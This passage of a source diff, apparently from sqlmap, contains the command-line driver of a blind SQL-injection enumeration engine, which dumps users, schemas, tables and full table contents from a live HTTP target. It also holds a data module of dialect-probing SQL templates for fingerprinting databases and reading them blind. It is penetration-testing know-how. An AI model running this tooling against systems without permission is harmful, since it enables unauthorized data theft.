if scope is None and (args.tables or args.columns or args.dump):
|
||||
dbexpr = esp.dialect.identity.get("database")
|
||||
try:
|
||||
r = esp.extractResult(dbexpr) if dbexpr else None
|
||||
# the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous
|
||||
# spelling would mis-target (merge a system-schema table, yield a 0-row dump), so
|
||||
# require a byte-exact read, exactly as the sqlmap handler's _safeExtract does.
|
||||
cur = r.value if (r and r.exact) else None
|
||||
if r and r.value and not r.exact:
|
||||
print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity)
|
||||
except Exception:
|
||||
cur = None
|
||||
if args.tbl and (args.columns or args.dump):
|
||||
try:
|
||||
scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur)
|
||||
except Exception:
|
||||
scope = cur
|
||||
else:
|
||||
scope = cur
|
||||
if scope:
|
||||
print("[i] scoping to database/schema: %s" % scope)
|
||||
if args.current_user:
|
||||
expr = esp.dialect.identity.get("user")
|
||||
print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a"))
|
||||
if args.current_db:
|
||||
expr = esp.dialect.identity.get("database")
|
||||
print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a"))
|
||||
if args.tables:
|
||||
print("[i] fetching tables ...")
|
||||
print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or ["<none>"]))
|
||||
if args.columns:
|
||||
if not args.tbl:
|
||||
print("[!] --columns needs -T <table>")
|
||||
else:
|
||||
print("[i] fetching columns for '%s' ..." % args.tbl)
|
||||
print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or ["<none>"])))
|
||||
if args.dump:
|
||||
if not args.tbl:
|
||||
print("[!] --dump needs -T <table>")
|
||||
else:
|
||||
cols = [c.strip() for c in args.col.split(",")] if args.col else None
|
||||
if cols is None: # enumerate columns FIRST (own phase), so the
|
||||
print("[i] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names
|
||||
cols = esp.columns(args.tbl, schema=scope) or None
|
||||
print("[i] fetching entries for table '%s' ..." % args.tbl)
|
||||
# NO silent internal cap: dump ALL rows (bounded by the live COUNT) and always
|
||||
# print whether the result came back complete.
|
||||
try:
|
||||
limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10
|
||||
except Exception:
|
||||
limit = 1 << 30
|
||||
result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit)
|
||||
if not result or not result["columns"]:
|
||||
print("[!] could not dump %s" % args.tbl)
|
||||
else:
|
||||
tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort")
|
||||
if not result.get("exact", True): # coverage complete but content collation-dependent
|
||||
tag += " - INEXACT (case/accents may differ)"
|
||||
print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag))
|
||||
_printTable(result["columns"], result["rows"])
|
||||
|
||||
|
||||
def _banner():
|
||||
# modest CLI identity, sqlmap-styled: a small globe (DBMS-agnostic/universal) + the Esperanto
|
||||
# green star. Colored only on a TTY; pure-ASCII (no coding header on this file); text columns
|
||||
# aligned at a fixed offset so the escape codes (zero display width) don't skew them.
|
||||
import sys as _sys
|
||||
tty = _sys.stdout.isatty()
|
||||
G = "\033[0;32m" if tty else "" # esperanto green (the globe)
|
||||
S = "\033[1;32m" if tty else "" # bright green (the star)
|
||||
W = "\033[1;37m" if tty else "" # bold white (the name)
|
||||
U = "\033[4;37m" if tty else "" # underline (the site)
|
||||
R = "\033[0m" if tty else ""
|
||||
return (
|
||||
" %(G)s___%(R)s\n"
|
||||
" %(G)s/ _ \\%(R)s %(W)sesperanto%(R)s {%(ver)s}\n"
|
||||
" %(G)s| (_) |%(R)s\n"
|
||||
" %(G)s\\___/ %(S)s*%(R)s %(U)s%(site)s%(R)s\n"
|
||||
) % dict(G=G, S=S, W=W, U=U, R=R, ver=__version__, site=_SITE)
|
||||
|
||||
|
||||
def main(argv=None):
|
||||
"""Standalone entry point: drive the engine against a live HTTP target."""
|
||||
import argparse
|
||||
|
||||
class _Formatter(argparse.HelpFormatter):
|
||||
# show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'),
|
||||
# like sqlmap's own help, so option/help stays on a single line
|
||||
def __init__(self, prog):
|
||||
argparse.HelpFormatter.__init__(self, prog, max_help_position=28)
|
||||
|
||||
def _format_action_invocation(self, action):
|
||||
if not action.option_strings or action.nargs == 0:
|
||||
return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action)
|
||||
metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar
|
||||
return "%s %s" % (", ".join(action.option_strings), metavar)
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="esperanto", formatter_class=_Formatter,
|
||||
usage="esperanto -u URL [options]", # short synopsis, not an auto-listing of every flag
|
||||
description="DBMS-agnostic blind-SQLi enumeration engine (standalone)")
|
||||
parser.add_argument("--version", action="version", version="esperanto %s (%s)" % (__version__, _SITE))
|
||||
parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)")
|
||||
parser.add_argument("--data", help="POST data string")
|
||||
parser.add_argument("--cookie", help="HTTP Cookie header")
|
||||
parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)")
|
||||
parser.add_argument("--string", help="match string for a True response")
|
||||
parser.add_argument("--code", type=int, help="HTTP code for a True response")
|
||||
parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner")
|
||||
parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user")
|
||||
parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database")
|
||||
parser.add_argument("--tables", action="store_true", help="enumerate tables")
|
||||
parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)")
|
||||
parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)")
|
||||
parser.add_argument("-D", dest="db", help="database/schema to enumerate")
|
||||
parser.add_argument("-T", dest="tbl", help="table to enumerate")
|
||||
parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)")
|
||||
# internal dev/test harness switches - functional but hidden from --help (--live drives the
|
||||
# local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass)
|
||||
parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS)
|
||||
parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS)
|
||||
parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS)
|
||||
args, engines = parser.parse_known_args(argv)
|
||||
|
||||
if args.live:
|
||||
names = [a.lower() for a in engines if not a.startswith("-")]
|
||||
return 0 if _livetest(only=names or None, waf=args.waf) else 1
|
||||
if args.selftest: # self-test only on EXPLICIT request
|
||||
_selftest()
|
||||
return 0
|
||||
print(_banner()) # CLI identity (after the dev-harness paths above)
|
||||
if not args.url: # no target and nothing to do -> show help, don't surprise
|
||||
parser.print_help()
|
||||
return 1
|
||||
|
||||
target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL
|
||||
esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header,
|
||||
args.string, args.code))
|
||||
import sys as _sys
|
||||
_tty = _sys.stdout.isatty()
|
||||
def _charLive(partial, total):
|
||||
# LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in
|
||||
# place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when
|
||||
# complete, so it can't collide with the next message. Framed rows preview as cells.
|
||||
shown = _previewFramed(partial)
|
||||
if shown is None:
|
||||
shown = partial
|
||||
_sys.stdout.write("\r\033[K[i] retrieved: %s" % _safeterm(shown[-200:]))
|
||||
if len(partial) >= total: # value complete -> keep it and drop to a new line
|
||||
_sys.stdout.write("\n")
|
||||
_sys.stdout.flush()
|
||||
def _plainLive(value): # piped/non-tty: one plain line per value, no control codes
|
||||
_sys.stdout.write("[i] retrieved: %s\n" % _safeterm(value))
|
||||
_sys.stdout.flush()
|
||||
if _tty:
|
||||
esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal
|
||||
else:
|
||||
esp._progress = _plainLive # logs/pipes get clean per-value lines instead
|
||||
print("[i] discovering the back-end SQL dialect (agnostic mode) ...")
|
||||
try:
|
||||
esp.discover()
|
||||
_report(esp, args)
|
||||
except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback
|
||||
print("[!] could not establish a working boolean oracle (%s)" % ex)
|
||||
print(" check the target is reachable and injectable, and the marker/--string/--code are right")
|
||||
return 1
|
||||
except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback
|
||||
print("\n[!] aborted by user")
|
||||
return 1
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,508 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a
|
||||
dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only,
|
||||
no logic. Each table is (name, template, ...); templates use str.format fields such as
|
||||
{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is
|
||||
written as a \\uXXXX escape so it is always obvious which code point is meant.
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import binascii
|
||||
|
||||
|
||||
def _unhexlify(value):
|
||||
"""Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it."""
|
||||
if isinstance(value, type(u"")):
|
||||
value = value.encode("ascii")
|
||||
return binascii.unhexlify(value)
|
||||
|
||||
|
||||
def _isSingleUnicodeScalar(value):
|
||||
"""True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair)."""
|
||||
if len(value) == 1:
|
||||
return True
|
||||
return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and
|
||||
0xDC00 <= ord(value[1]) <= 0xDFFF)
|
||||
|
||||
|
||||
# string concatenation of {a} and {b} (operator or function form)
|
||||
_CONCAT = (
|
||||
("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI)
|
||||
("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB
|
||||
("plus", "({a})+({b})"), # MSSQL/Sybase
|
||||
("amp", "({a})&({b})"), # MS Access
|
||||
)
|
||||
|
||||
|
||||
# 1-based substring: {len} characters of {expr} starting at {pos}
|
||||
_SUBSTRING = (
|
||||
("SUBSTR", "SUBSTR(({expr}),{pos},{len})"),
|
||||
("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"),
|
||||
("MID", "MID(({expr}),{pos},{len})"),
|
||||
("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"),
|
||||
("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"),
|
||||
("substring_lc", "substring(({expr}),{pos},{len})"),
|
||||
# LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT
|
||||
# but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which
|
||||
# is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to
|
||||
# RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general
|
||||
# fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so
|
||||
# it is deliberately kept length-free and len=1-scoped.
|
||||
("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"),
|
||||
)
|
||||
|
||||
|
||||
# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here)
|
||||
_LENGTH = (
|
||||
("CHAR_LENGTH", "CHAR_LENGTH({expr})"),
|
||||
("LENGTH", "LENGTH({expr})"),
|
||||
("LEN", "LEN({expr})"),
|
||||
("length_lc", "length({expr})"),
|
||||
)
|
||||
|
||||
|
||||
# single char {expr} -> its integer code point
|
||||
_CHARCODE = (
|
||||
("ASCII", "ASCII({expr})"),
|
||||
("UNICODE", "UNICODE({expr})"),
|
||||
("ORD", "ORD({expr})"),
|
||||
("CODEPOINT", "CODEPOINT({expr})"),
|
||||
("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255)
|
||||
("ASCII_VAL", "ASCII_VAL({expr})"),
|
||||
("ASCW", "ASCW({expr})"),
|
||||
("UNICODE_CODE", "UNICODE_CODE({expr})"),
|
||||
("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed)
|
||||
)
|
||||
|
||||
|
||||
# integer {code} -> single char (lets extraction build literals without quoting)
|
||||
_CHARFROM = (
|
||||
("CHAR", "CHAR({code})"),
|
||||
("CHR", "CHR({code})"),
|
||||
("NCHAR", "NCHAR({code})"),
|
||||
("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL)
|
||||
("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255)
|
||||
)
|
||||
|
||||
|
||||
# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case)
|
||||
_HEXFN = (
|
||||
("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive
|
||||
("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle
|
||||
("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071')
|
||||
("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB
|
||||
("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate
|
||||
("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase
|
||||
("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast)
|
||||
("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA
|
||||
("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica
|
||||
("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner
|
||||
)
|
||||
|
||||
|
||||
# uppercase hex alphabet the nibble reader walks over
|
||||
_HEXDIGITS = "0123456789ABCDEF"
|
||||
|
||||
|
||||
# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles)
|
||||
_MAX_HEX_CHAR_NIBBLES = 16
|
||||
|
||||
|
||||
# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes
|
||||
# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one
|
||||
_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le"))
|
||||
|
||||
|
||||
# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn -
|
||||
# the strongest encoding signal there is (the DB tells us its own charset), and read once. A
|
||||
# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one.
|
||||
_CHARSET_PROBES = (
|
||||
"@@character_set_connection", # MySQL/MariaDB/TiDB: the charset
|
||||
# CAST(x AS CHAR) outputs (what the
|
||||
# framed dump hexes), NOT @@character_set_database
|
||||
"current_setting('server_encoding')", # PostgreSQL / Cockroach / Crate
|
||||
"(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')", # Oracle
|
||||
"CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))", # SQL Server -> code page number
|
||||
)
|
||||
|
||||
|
||||
# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec.
|
||||
# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really
|
||||
# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true
|
||||
# Latin-1. This is where reading the DB's own answer beats statistical detection.
|
||||
_CHARSET_CODEC = {
|
||||
"utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8",
|
||||
"unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8",
|
||||
"utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be",
|
||||
"latin1": "cp1252", # MySQL 'latin1' == Windows-1252
|
||||
"cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252",
|
||||
"iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1",
|
||||
"iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15",
|
||||
"cp1251": "cp1251", "windows1251": "cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251",
|
||||
"cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250",
|
||||
"gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030",
|
||||
"big5": "big5", "zht16big5": "big5", "950": "big5",
|
||||
"sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis",
|
||||
"euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr",
|
||||
"eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp",
|
||||
"koi8r": "koi8-r", "cl8koi8r": "koi8-r",
|
||||
"ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii",
|
||||
}
|
||||
|
||||
|
||||
def _charsetCodec(name):
|
||||
"""Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown.
|
||||
Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively."""
|
||||
import re as _re
|
||||
key = _re.sub(r"[^a-z0-9]", "", (name or "").lower())
|
||||
while key:
|
||||
if key in _CHARSET_CODEC:
|
||||
return _CHARSET_CODEC[key]
|
||||
key = key[:-1] # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4)
|
||||
return None
|
||||
|
||||
|
||||
# the only code points a hex-framed dump payload can contain (hex digits + N/V markers
|
||||
# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny
|
||||
# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall
|
||||
# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction.
|
||||
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV"))
|
||||
|
||||
|
||||
# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default
|
||||
# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL)
|
||||
_BINWRAP = (
|
||||
("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica
|
||||
("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE
|
||||
("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks
|
||||
("binary_op", "BINARY ({x})"), # MySQL (operator form)
|
||||
("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family
|
||||
("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2
|
||||
("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby
|
||||
("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle
|
||||
("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise)
|
||||
)
|
||||
|
||||
|
||||
# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull)
|
||||
_BULK_AGG = (
|
||||
("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks
|
||||
("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery
|
||||
("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful
|
||||
("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase
|
||||
("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB
|
||||
("list_fb", "LIST({col})"), # Firebird (returns BLOB)
|
||||
("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw)
|
||||
)
|
||||
|
||||
|
||||
# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family
|
||||
_DUAL = (
|
||||
("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/...
|
||||
("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID
|
||||
("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby
|
||||
("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird
|
||||
("DUMMY", " FROM DUMMY"), # SAP HANA
|
||||
("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix
|
||||
("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard
|
||||
("system.onerow", " FROM system.onerow"), # Mimer SQL
|
||||
)
|
||||
|
||||
|
||||
# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail)
|
||||
_DUAL_IMPLIES = {
|
||||
"DUAL": "Oracle / MaxDB / Altibase / CUBRID",
|
||||
"SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby",
|
||||
"RDB$DATABASE": "Firebird",
|
||||
"DUMMY": "SAP HANA",
|
||||
"SYSMASTER:SYSDUAL": "Informix",
|
||||
"VALUES": "HSQLDB / SQL-standard",
|
||||
"system.onerow": "Mimer SQL",
|
||||
}
|
||||
|
||||
|
||||
# version-banner probes: (label, expr, product, implies_product). engine-specific first;
|
||||
# implies_product=False marks generic banners where only the banner TEXT names the product
|
||||
_BANNERS = (
|
||||
("H2VERSION()", "H2VERSION()", "H2", True),
|
||||
("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True),
|
||||
("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True),
|
||||
("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True),
|
||||
("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle
|
||||
("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE
|
||||
("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True),
|
||||
("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True),
|
||||
("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True),
|
||||
("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True),
|
||||
("@@VERSION", "@@VERSION", None, False),
|
||||
("VERSION()", "VERSION()", None, False),
|
||||
("version()", "version()", None, False),
|
||||
)
|
||||
|
||||
|
||||
# product names searched for INSIDE a banner string; forks listed BEFORE their parents
|
||||
# (e.g. MariaDB before MySQL) so the more specific name wins
|
||||
_BANNER_KEYWORDS = (
|
||||
"Microsoft SQL Server",
|
||||
"CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL",
|
||||
"TiDB", "Percona", "MariaDB", "MySQL",
|
||||
"Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake",
|
||||
"Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix",
|
||||
)
|
||||
|
||||
|
||||
# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing)
|
||||
_BYTELEN = (
|
||||
("OCTET_LENGTH", "OCTET_LENGTH({expr})"),
|
||||
("DATALENGTH", "DATALENGTH({expr})"),
|
||||
("LENGTHB", "LENGTHB({expr})"),
|
||||
)
|
||||
|
||||
|
||||
# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed
|
||||
# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but
|
||||
# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still
|
||||
# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check
|
||||
# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded;
|
||||
# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap,
|
||||
# so a >4000 value there is caught by per-cell source verification in dump(), not here.
|
||||
_TEXTCAST = (
|
||||
("cast_text", "CAST(({expr}) AS TEXT)"), # PostgreSQL/SQLite/... UNBOUNDED
|
||||
("cast_char", "CAST(({expr}) AS CHAR)"), # MySQL/MariaDB UNBOUNDED (bare CHAR)
|
||||
("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED
|
||||
("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"), # SQL Server UNBOUNDED (non-Unicode)
|
||||
("cast_string", "CAST(({expr}) AS STRING)"), # BigQuery/Spark UNBOUNDED
|
||||
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), # bounded fallbacks (short values only)
|
||||
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), # Oracle (hard 4000 limit)
|
||||
("to_char", "TO_CHAR({expr})"),
|
||||
("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"),
|
||||
("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"),
|
||||
)
|
||||
|
||||
|
||||
# substitute {fallback} when {expr} IS NULL
|
||||
_COALESCE = (
|
||||
("COALESCE", "COALESCE({expr},{fallback})"),
|
||||
("IFNULL", "IFNULL({expr},{fallback})"),
|
||||
("NVL", "NVL({expr},{fallback})"),
|
||||
("ISNULL", "ISNULL({expr},{fallback})"),
|
||||
("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"),
|
||||
)
|
||||
|
||||
|
||||
# expressions that yield the current user / database-or-schema / version, per kind
|
||||
_IDENTITY = {
|
||||
"user": (
|
||||
"CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER",
|
||||
"SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()",
|
||||
),
|
||||
# the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA
|
||||
# functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope
|
||||
# column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE()
|
||||
# is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL),
|
||||
# SCHEMA() returns the same value, so nothing regresses.
|
||||
"database": (
|
||||
"CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema",
|
||||
"SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()",
|
||||
), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix
|
||||
"version": (
|
||||
"VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()",
|
||||
"DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()",
|
||||
"(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle
|
||||
"(SELECT version FROM v$instance)", # Oracle alt
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first
|
||||
# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family
|
||||
_CATALOGS = (
|
||||
("sqlite_master", "SQLite",
|
||||
{"table": ("tbl_name", "sqlite_master", "type='table'")}),
|
||||
("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as
|
||||
{"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler
|
||||
"schema": ("OWNER", "SYS.ALL_TABLES", None)}),
|
||||
("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede
|
||||
{"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`)
|
||||
"schema": ("table_schema", "information_schema.tables", None)}),
|
||||
("pg_catalog.pg_tables", "PostgreSQL-family",
|
||||
{"table": ("tablename", "pg_catalog.pg_tables", None),
|
||||
